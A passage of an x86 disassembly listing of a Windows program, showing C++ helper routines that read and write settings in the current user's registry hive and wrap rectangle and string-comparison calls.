--------------------------------------------------------------------------- loc_407537: ; CODE XREF: sub_407400+31j mov ecx, [ebp+var_24] mov edx, [ecx+18h] mov eax, [ecx+1Ch] mov ecx, [ebp+arg_0] mov [ecx], edx mov [ecx+4], eax mov eax, [ebp+arg_0] loc_40754B: ; CODE XREF: sub_407400+100j ; sub_407400+135j mov esp, ebp pop ebp retn 4 sub_407400 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407551 proc near ; CODE XREF: HSho:00407677p var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx lea eax, [ebp+var_4] push eax mov ecx, [ebp+var_8] add ecx, 4 push ecx push 0 push 20006h push 0 push offset dword_419C70 push 0 mov ecx, [ebp+var_8] add ecx, 0Ch call sub_4026A0 push eax mov edx, [ebp+var_8] mov eax, [edx] push eax call dword_41300C ; RegCreateKeyExA test eax, eax jz short loc_407593 jmp short loc_4075D4 ; --------------------------------------------------------------------------- loc_407593: ; CODE XREF: sub_407551+3Ej push 8 mov ecx, [ebp+var_8] add ecx, 10h push ecx push 3 push 0 mov ecx, [ebp+var_8] add ecx, 8 call sub_4026A0 push eax mov edx, [ebp+var_8] mov eax, [edx+4] push eax call dword_413008 ; RegSetValueExA test eax, eax jnz short loc_4075C7 mov ecx, [ebp+var_8] mov dword ptr [ecx+20h], 1 loc_4075C7: ; CODE XREF: sub_407551+6Aj mov edx, [ebp+var_8] mov eax, [edx+4] push eax call dword_413000 ; RegCloseKey loc_4075D4: ; CODE XREF: sub_407551+40j mov esp, ebp pop ebp retn sub_407551 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch mov [ebp-0Ch], ecx mov eax, [ebp-0Ch] cmp dword ptr [eax+20h], 0 jz short loc_407609 mov ecx, [ebp-0Ch] cmp dword ptr [ecx+24h], 0 jnz short loc_407609 mov edx, [ebp-0Ch] mov eax, [edx+10h] mov ecx, [edx+14h] mov edx, [ebp+8] mov [edx], eax mov [edx+4], ecx mov eax, [ebp+8] jmp short loc_407625 ; --------------------------------------------------------------------------- loc_407609: ; CODE XREF: HSho:004075E8j ; HSho:004075F1j lea eax, [ebp-8] push eax mov ecx, [ebp-0Ch] call sub_407400 mov ecx, [eax] mov edx, [eax+4] mov eax, [ebp+8] mov [eax], ecx mov [eax+4], edx mov eax, [ebp+8] loc_407625: ; CODE XREF: HSho:00407607j mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch mov [ebp-0Ch], ecx mov eax, [ebp-0Ch] mov ecx, [eax+10h] mov edx, [eax+14h] mov [ebp-8], ecx mov [ebp-4], edx mov eax, [ebp-4] push eax mov ecx, [ebp-8] push ecx lea ecx, [ebp+8] call sub_4081F0 test eax, eax jz short loc_407665 mov edx, [ebp-0Ch] cmp dword ptr [edx+24h], 0 jnz short loc_407665 mov eax, [ebp-0Ch] jmp short loc_40767F ; --------------------------------------------------------------------------- loc_407665: ; CODE XREF: HSho:00407655j ; HSho:0040765Ej mov eax, [ebp-0Ch] mov ecx, [ebp+8] mov [eax+10h], ecx mov edx, [ebp+0Ch] mov [eax+14h], edx mov ecx, [ebp-0Ch] call sub_407551 mov eax, [ebp-0Ch] loc_40767F: ; CODE XREF: HSho:00407663j mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_412395 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch mov [ebp-18h], ecx mov ecx, [ebp-18h] call sub_408230 mov dword ptr [ebp-4], 0 lea eax, [ebp-10h] push eax mov ecx, [ebp-18h] add ecx, 28h call dword_41316C mov byte ptr [ebp-4], 1 lea ecx, [ebp-14h] push ecx mov ecx, [ebp-18h] add ecx, 38h call dword_41316C mov byte ptr [ebp-4], 2 push offset dword_419C74 mov ecx, [ebp-18h] add ecx, 28h call dword_413194 push offset dword_419C78 mov ecx, [ebp-18h] add ecx, 38h call dword_413194 push offset dword_419C7C mov ecx, [ebp-18h] add ecx, 8 call dword_413194 mov edx, [ebp-18h] mov dword ptr [edx], 80000001h mov eax, [ebp-18h] mov dword ptr [eax+48h], 0 mov ecx, [ebp-18h] mov dword ptr [ecx+4Ch], 0 mov dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-18h] mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_4123EA mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 50h mov [ebp-4Ch], ecx mov dword ptr [ebp-4], 1 mov ecx, [ebp-4Ch] call sub_408230 mov byte ptr [ebp-4], 2 lea eax, [ebp-14h] push eax mov ecx, [ebp-4Ch] add ecx, 28h call dword_41316C mov byte ptr [ebp-4], 3 lea ecx, [ebp-18h] push ecx mov ecx, [ebp-4Ch] add ecx, 38h call dword_41316C mov byte ptr [ebp-4], 4 push offset dword_419C80 mov ecx, [ebp-4Ch] add ecx, 28h call dword_413194 lea edx, [ebp+18h] push edx mov ecx, [ebp-4Ch] add ecx, 38h call dword_41317C mov eax, [ebp-4Ch] mov ecx, [ebp+28h] mov [eax+4Ch], ecx mov edx, [ebp-4Ch] mov eax, [ebp+2Ch] mov [edx], eax mov ecx, [ebp-4Ch] mov dword ptr [ecx+48h], 0 mov edx, dword_413178 mov eax, [edx] push eax push 5Ch lea ecx, [ebp+8] call dword_413174 mov [ebp-10h], eax mov ecx, [ebp-10h] push ecx push 0 lea edx, [ebp-28h] push edx lea ecx, [ebp+8] call dword_413170 mov [ebp-50h], eax mov eax, [ebp-50h] mov [ebp-54h], eax mov byte ptr [ebp-4], 5 mov ecx, [ebp-54h] push ecx mov ecx, [ebp-4Ch] add ecx, 18h call dword_41317C mov byte ptr [ebp-4], 4 lea ecx, [ebp-28h] call dword_413168 mov edx, dword_413178 mov eax, [edx] push eax mov ecx, [ebp-10h] add ecx, 1 push ecx lea edx, [ebp-38h] push edx lea ecx, [ebp+8] call dword_413170 mov [ebp-58h], eax mov eax, [ebp-58h] mov [ebp-5Ch], eax mov byte ptr [ebp-4], 6 mov ecx, [ebp-5Ch] push ecx mov ecx, [ebp-4Ch] add ecx, 8 call dword_41317C mov byte ptr [ebp-4], 4 lea ecx, [ebp-38h] call dword_413168 lea edx, [ebp-48h] push edx mov ecx, [ebp-4Ch] call sub_407913 lea ecx, [ebp-48h] call dword_413168 mov byte ptr [ebp-4], 0 lea ecx, [ebp+8] call dword_413168 mov dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+18h] call dword_413168 mov eax, [ebp-4Ch] mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn 28h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_41240A mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp-10h], ecx mov dword ptr [ebp-4], 1 mov ecx, [ebp-10h] add ecx, 38h call dword_413168 mov byte ptr [ebp-4], 0 mov ecx, [ebp-10h] add ecx, 28h call dword_413168 mov dword ptr [ebp-4], 0FFFFFFFFh mov ecx, [ebp-10h] call sub_408290 mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407913 proc near ; CODE XREF: HSho:00407879p ; HSho:00407B56p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov [ebp+var_1C], 0 mov eax, [ebp+var_20] add eax, 4 push eax push 20019h push 0 mov ecx, [ebp+var_20] add ecx, 18h call dword_413188 push eax mov ecx, [ebp+var_20] mov edx, [ecx] push edx call dword_413004 ; RegOpenKeyExA test eax, eax jnz loc_407A52 mov [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push 0 lea ecx, [ebp+var_C] push ecx push 0 mov ecx, [ebp+var_20] add ecx, 8 call dword_413188 push eax mov edx, [ebp+var_20] mov eax, [edx+4] push eax call dword_413010 ; RegQueryValueExA mov ecx, [ebp+var_4] push ecx call sub_4114F4 add esp, 4 mov [ebp+var_10], eax mov edx, [ebp+var_10] mov [ebp+var_8], edx lea eax, [ebp+var_4] push eax mov ecx, [ebp+var_8] push ecx lea edx, [ebp+var_C] push edx push 0 mov ecx, [ebp+var_20] add ecx, 8 call dword_413188 push eax mov eax, [ebp+var_20] mov ecx, [eax+4] push ecx call dword_413010 ; RegQueryValueExA test eax, eax jnz short loc_407A16 mov edx, [ebp+var_8] push edx mov ecx, [ebp+var_20] add ecx, 28h call dword_413184 mov eax, [ebp+var_8] mov [ebp+var_14], eax mov ecx, [ebp+var_14] push ecx call sub_4114EE add esp, 4 mov edx, [ebp+var_20] mov dword ptr [edx+48h], 1 mov eax, [ebp+var_20] mov ecx, [eax+4] push ecx call dword_413000 ; RegCloseKey mov edx, [ebp+var_20] add edx, 28h push edx mov ecx, [ebp+arg_0] call dword_413180 mov eax, [ebp+var_1C] or al, 1 mov [ebp+var_1C], eax mov eax, [ebp+arg_0] jmp short loc_407A6E ; --------------------------------------------------------------------------- loc_407A16: ; CODE XREF: sub_407913+ABj mov ecx, [ebp+var_8] mov [ebp+var_18], ecx mov edx, [ebp+var_18] push edx call sub_4114EE add esp, 4 mov eax, [ebp+var_20] mov ecx, [eax+4] push ecx call dword_413000 ; RegCloseKey mov edx, [ebp+var_20] add edx, 38h push edx mov ecx, [ebp+arg_0] call dword_413180 mov eax, [ebp+var_1C] or al, 1 mov [ebp+var_1C], eax mov eax, [ebp+arg_0] jmp short loc_407A6E ; --------------------------------------------------------------------------- loc_407A52: ; CODE XREF: sub_407913+39j mov ecx, [ebp+var_20] add ecx, 38h push ecx mov ecx, [ebp+arg_0] call dword_413180 mov edx, [ebp+var_1C] or edx, 1 mov [ebp+var_1C], edx mov eax, [ebp+arg_0] loc_407A6E: ; CODE XREF: sub_407913+101j ; sub_407913+13Dj mov esp, ebp pop ebp retn 4 sub_407913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A74 proc near ; CODE XREF: HSho:00407C6Ep var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx lea eax, [ebp+var_4] push eax mov ecx, [ebp+var_8] add ecx, 4 push ecx push 0 push 20006h push 0 push offset dword_419C84 push 0 mov ecx, [ebp+var_8] add ecx, 18h call dword_413188 push eax mov edx, [ebp+var_8] mov eax, [edx] push eax call dword_41300C ; RegCreateKeyExA test eax, eax jz short loc_407AB7 jmp short loc_407B0D ; --------------------------------------------------------------------------- loc_407AB7: ; CODE XREF: sub_407A74+3Fj mov ecx, [ebp+var_8] add ecx, 28h call dword_41318C add eax, 1 push eax mov ecx, [ebp+var_8] add ecx, 28h call dword_413188 push eax push 1 push 0 mov ecx, [ebp+var_8] add ecx, 8 call dword_413188 push eax mov ecx, [ebp+var_8] mov edx, [ecx+4] push edx call dword_413008 ; RegSetValueExA test eax, eax jnz short loc_407B00 mov eax, [ebp+var_8] mov dword ptr [eax+48h], 1 loc_407B00: ; CODE XREF: sub_407A74+80j mov ecx, [ebp+var_8] mov edx, [ecx+4] push edx call dword_413000 ; RegCloseKey loc_407B0D: ; CODE XREF: sub_407A74+41j mov esp, ebp pop ebp retn sub_407A74 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_41241E mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h mov [ebp-24h], ecx mov eax, [ebp-24h] cmp dword ptr [eax+48h], 0 jz short loc_407B4F mov ecx, [ebp-24h] cmp dword ptr [ecx+4Ch], 0 jnz short loc_407B4F mov ecx, [ebp-24h] add ecx, 28h call dword_413188 jmp short loc_407B8A ; --------------------------------------------------------------------------- loc_407B4F: ; CODE XREF: HSho:00407B36j ; HSho:00407B3Fj lea edx, [ebp-20h] push edx mov ecx, [ebp-24h] call sub_407913 mov [ebp-28h], eax mov eax, [ebp-28h] mov [ebp-2Ch], eax mov dword ptr [ebp-4], 0 mov ecx, [ebp-2Ch] call dword_413188 mov [ebp-10h], eax mov dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp-20h] call dword_413168 mov eax, [ebp-10h] loc_407B8A: ; CODE XREF: HSho:00407B4Dj mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 mov [ebp-8], ecx mov dword ptr [ebp-4], 0 mov eax, [ebp-8] cmp dword ptr [eax+48h], 0 jz short loc_407BD7 mov ecx, [ebp-8] cmp dword ptr [ecx+4Ch], 0 jnz short loc_407BD7 mov edx, [ebp-8] add edx, 28h push edx mov ecx, [ebp+8] call dword_413180 mov eax, [ebp-4] or al, 1 mov [ebp-4], eax mov eax, [ebp+8] jmp short loc_407BEF ; --------------------------------------------------------------------------- loc_407BD7: ; CODE XREF: HSho:00407BAFj ; HSho:00407BB8j mov ecx, [ebp+8] push ecx mov ecx, [ebp-8] call sub_407913 mov edx, [ebp-4] or edx, 1 mov [ebp-4], edx mov eax, [ebp+8] loc_407BEF: ; CODE XREF: HSho:00407BD5j mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_412432 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch mov [ebp-18h], ecx mov dword ptr [ebp-4], 0 mov eax, [ebp-18h] add eax, 28h push eax lea ecx, [ebp+8] push ecx call dword_413190 add esp, 8 and eax, 0FFh test eax, eax jz short loc_407C5B mov edx, [ebp-18h] cmp dword ptr [edx+4Ch], 0 jnz short loc_407C5B mov eax, [ebp-18h] mov [ebp-10h], eax mov dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+8] call dword_413168 mov eax, [ebp-10h] jmp short loc_407C8C ; --------------------------------------------------------------------------- loc_407C5B: ; CODE XREF: HSho:00407C35j ; HSho:00407C3Ej lea ecx, [ebp+8] push ecx mov ecx, [ebp-18h] add ecx, 28h call dword_41317C mov ecx, [ebp-18h] call sub_407A74 mov edx, [ebp-18h] mov [ebp-14h], edx mov dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+8] call dword_413168 mov eax, [ebp-14h] loc_407C8C: ; CODE XREF: HSho:00407C59j mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn 10h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_412445 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp-10h], ecx mov ecx, [ebp-10h] call sub_408230 mov dword ptr [ebp-4], 0 mov eax, [ebp-10h] mov dword ptr [eax+28h], 0 mov ecx, [ebp-10h] mov dword ptr [ecx+2Ch], 0 push offset dword_419C88 mov ecx, [ebp-10h] add ecx, 8 call dword_413194 mov edx, [ebp-10h] mov dword ptr [edx], 80000001h mov eax, [ebp-10h] mov dword ptr [eax+30h], 0 mov ecx, [ebp-10h] mov dword ptr [ecx+34h], 0 mov dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-10h] mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_412476 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h mov [ebp-34h], ecx mov dword ptr [ebp-4], 0 mov ecx, [ebp-34h] call sub_408230 mov byte ptr [ebp-4], 1 mov eax, [ebp-34h] mov dword ptr [eax+28h], 0 mov ecx, [ebp-34h] mov edx, [ebp+18h] mov [ecx+2Ch], edx mov eax, [ebp-34h] mov ecx, [ebp+1Ch] mov [eax+34h], ecx mov edx, [ebp-34h] mov eax, [ebp+20h] mov [edx], eax mov ecx, [ebp-34h] mov dword ptr [ecx+30h], 0 mov edx, dword_413178 mov eax, [edx] push eax push 5Ch lea ecx, [ebp+8] call dword_413174 mov [ebp-10h], eax mov ecx, [ebp-10h] push ecx push 0 lea edx, [ebp-20h] push edx lea ecx, [ebp+8] call dword_413170 mov [ebp-38h], eax mov eax, [ebp-38h] mov [ebp-3Ch], eax mov byte ptr [ebp-4], 2 mov ecx, [ebp-3Ch] push ecx mov ecx, [ebp-34h] add ecx, 18h call dword_41317C mov byte ptr [ebp-4], 1 lea ecx, [ebp-20h] call dword_413168 mov edx, dword_413178 mov eax, [edx] push eax mov ecx, [ebp-10h] add ecx, 1 push ecx lea edx, [ebp-30h] push edx lea ecx, [ebp+8] call dword_413170 mov [ebp-40h], eax mov eax, [ebp-40h] mov [ebp-44h], eax mov byte ptr [ebp-4], 3 mov ecx, [ebp-44h] push ecx mov ecx, [ebp-34h] add ecx, 8 call dword_41317C mov byte ptr [ebp-4], 1 lea ecx, [ebp-30h] call dword_413168 mov ecx, [ebp-34h] call sub_407E59 mov dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+8] call dword_413168 mov eax, [ebp-34h] mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn 1Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov ecx, [ebp-4] call sub_408290 mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E59 proc near ; CODE XREF: HSho:00407E1Ep ; HSho:00407FAEp var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], ecx mov eax, [ebp+var_C] add eax, 4 push eax push 20019h push 0 mov ecx, [ebp+var_C] add ecx, 18h call dword_413188 push eax mov ecx, [ebp+var_C] mov edx, [ecx] push edx call dword_413004 ; RegOpenKeyExA test eax, eax jnz short loc_407EF7 mov [ebp+var_4], 4 lea eax, [ebp+var_4] push eax mov ecx, [ebp+var_C] add ecx, 28h push ecx lea edx, [ebp+var_8] push edx push 0 mov ecx, [ebp+var_C] add ecx, 8 call dword_413188 push eax mov eax, [ebp+var_C] mov ecx, [eax+4] push ecx call dword_413010 ; RegQueryValueExA test eax, eax jnz short loc_407EE2 mov edx, [ebp+var_C] mov dword ptr [edx+30h], 1 mov eax, [ebp+var_C] mov ecx, [eax+4] push ecx call dword_413000 ; RegCloseKey mov edx, [ebp+var_C] mov eax, [edx+28h] jmp short loc_407EFD ; --------------------------------------------------------------------------- loc_407EE2: ; CODE XREF: sub_407E59+68j mov eax, [ebp+var_C] mov ecx, [eax+4] push ecx call dword_413000 ; RegCloseKey mov edx, [ebp+var_C] mov eax, [edx+2Ch] jmp short loc_407EFD ; --------------------------------------------------------------------------- loc_407EF7: ; CODE XREF: sub_407E59+32j mov eax, [ebp+var_C] mov eax, [eax+2Ch] loc_407EFD: ; CODE XREF: sub_407E59+87j ; sub_407E59+9Cj mov esp, ebp pop ebp retn sub_407E59 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 mov [ebp-8], ecx lea eax, [ebp-4] push eax mov ecx, [ebp-8] add ecx, 4 push ecx push 0 push 20006h push 0 push offset dword_419C8C push 0 mov ecx, [ebp-8] add ecx, 18h call dword_413188 push eax mov edx, [ebp-8] mov eax, [edx] push eax call dword_41300C ; RegCreateKeyExA test eax, eax jz short loc_407F44 jmp short loc_407F86 ; --------------------------------------------------------------------------- loc_407F44: ; CODE XREF: HSho:00407F40j push 4 mov ecx, [ebp-8] add ecx, 28h push ecx push 4 push 0 mov ecx, [ebp-8] add ecx, 8 call dword_413188 push eax mov edx, [ebp-8] mov eax, [edx+4] push eax call dword_413008 ; RegSetValueExA test eax, eax jnz short loc_407F79 mov ecx, [ebp-8] mov dword ptr [ecx+30h], 1 loc_407F79: ; CODE XREF: HSho:00407F6Dj mov edx, [ebp-8] mov eax, [edx+4] push eax call dword_413000 ; RegCloseKey loc_407F86: ; CODE XREF: HSho:00407F42j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] cmp dword ptr [eax+30h], 0 jz short loc_407FAB mov ecx, [ebp-4] cmp dword ptr [ecx+34h], 0 jnz short loc_407FAB mov edx, [ebp-4] mov eax, [edx+28h] jmp short loc_407FB3 ; --------------------------------------------------------------------------- loc_407FAB: ; CODE XREF: HSho:00407F98j ; HSho:00407FA1j mov ecx, [ebp-4] call sub_407E59 loc_407FB3: ; CODE XREF: HSho:00407FA9j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407FC0 proc near ; CODE XREF: HSho:0040630Fp ; sub_406374+29p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_407FC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov ecx, [ebp+var_10] add ecx, 8 call sub_41151E mov [ebp+var_4], 0 mov ecx, [ebp+var_10] add ecx, 0Ch call sub_41151E mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_10] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_407FC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408020 proc near ; CODE XREF: sub_4064C6+Ap ; sub_4068AF+47p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_408020 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov [ebp+var_4], 0 mov ecx, [ebp+var_10] add ecx, 0Ch call sub_411512 mov [ebp+var_4], 0FFFFFFFFh mov ecx, [ebp+var_10] add ecx, 8 call sub_411512 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_408020 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408070 proc near ; CODE XREF: sub_406374+BFp ; sub_40671B+E9p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_408090 mov eax, [eax+4] mov esp, ebp pop ebp retn sub_408070 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408090 proc near ; CODE XREF: sub_408070+Ap var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov eax, [eax] sub eax, 0Ch mov esp, ebp pop ebp retn sub_408090 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4080B0 proc near ; CODE XREF: sub_406BA8+30p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_4] call sub_4026A0 push eax mov ecx, [ebp+arg_0] call sub_4080D0 neg eax sbb eax, eax inc eax pop ebp retn 8 sub_4080B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4080D0 proc near ; CODE XREF: sub_4080B0+Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] mov edx, [ecx] push edx call sub_4080F0 add esp, 8 mov esp, ebp pop ebp retn 4 sub_4080D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4080F0 proc near ; CODE XREF: sub_4080D0+11p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_4131EC ; _mbscmp add esp, 8 pop ebp retn sub_4080F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408110 proc near ; CODE XREF: HSho:00406C96p ; HSho:00406CC2p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax], ecx mov edx, [ebp+var_4] mov eax, [ebp+arg_4] mov [edx+4], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_8] mov [ecx+8], edx mov eax, [ebp+var_4] mov ecx, [ebp+arg_C] mov [eax+0Ch], ecx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 10h sub_408110 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408150 proc near ; CODE XREF: sub_406EDD+AAp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] push ecx call dword_413290 ; CopyRect mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_408150 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408170 proc near ; CODE XREF: HSho:00406C7Bp ; HSho:00406C86p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_408170 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408180 proc near ; CODE XREF: HSho:0040716Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] push ecx call dword_413294 ; EqualRect mov esp, ebp pop ebp retn 4 sub_408180 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4081A0 proc near ; CODE XREF: HSho:004071F9p ; HSho:00407213p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax], ecx mov edx, [ebp+var_4] mov eax, [ebp+arg_4] mov [edx+4], eax mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 8 sub_4081A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4081D0 proc near ; CODE XREF: sub_407400+B0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax], ecx mov edx, [ebp+arg_4] mov [eax+4], edx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 8 sub_4081D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4081F0 proc near ; CODE XREF: HSho:0040764Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [eax] cmp ecx, [ebp+arg_0] jnz short loc_408217 mov edx, [ebp+var_4] mov eax, [edx+4] cmp eax, [ebp+arg_4] jnz short loc_408217 mov [ebp+var_8], 1 jmp short loc_40821E ; --------------------------------------------------------------------------- loc_408217: ; CODE XREF: sub_4081F0+11j ; sub_4081F0+1Cj mov [ebp+var_8], 0 loc_40821E: ; CODE XREF: sub_4081F0+25j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn 8 sub_4081F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408230 proc near ; CODE XREF: HSho:004076A6p ; HSho:0040776Ap ... var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_408230 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch mov [ebp+var_18], ecx lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_18] add ecx, 8 call dword_41316C mov [ebp+var_4], 0 lea ecx, [ebp+var_14] push ecx mov ecx, [ebp+var_18] add ecx, 18h call dword_41316C mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_18] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_408230 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408290 proc near ; CODE XREF: HSho:00407900p ; HSho:00407E50p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_408290 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov [ebp+var_4], 0 mov ecx, [ebp+var_10] add ecx, 18h call dword_413168 mov [ebp+var_4], 0FFFFFFFFh mov ecx, [ebp+var_10] add ecx, 8 call dword_413168 mov ecx, [ebp+var_C] 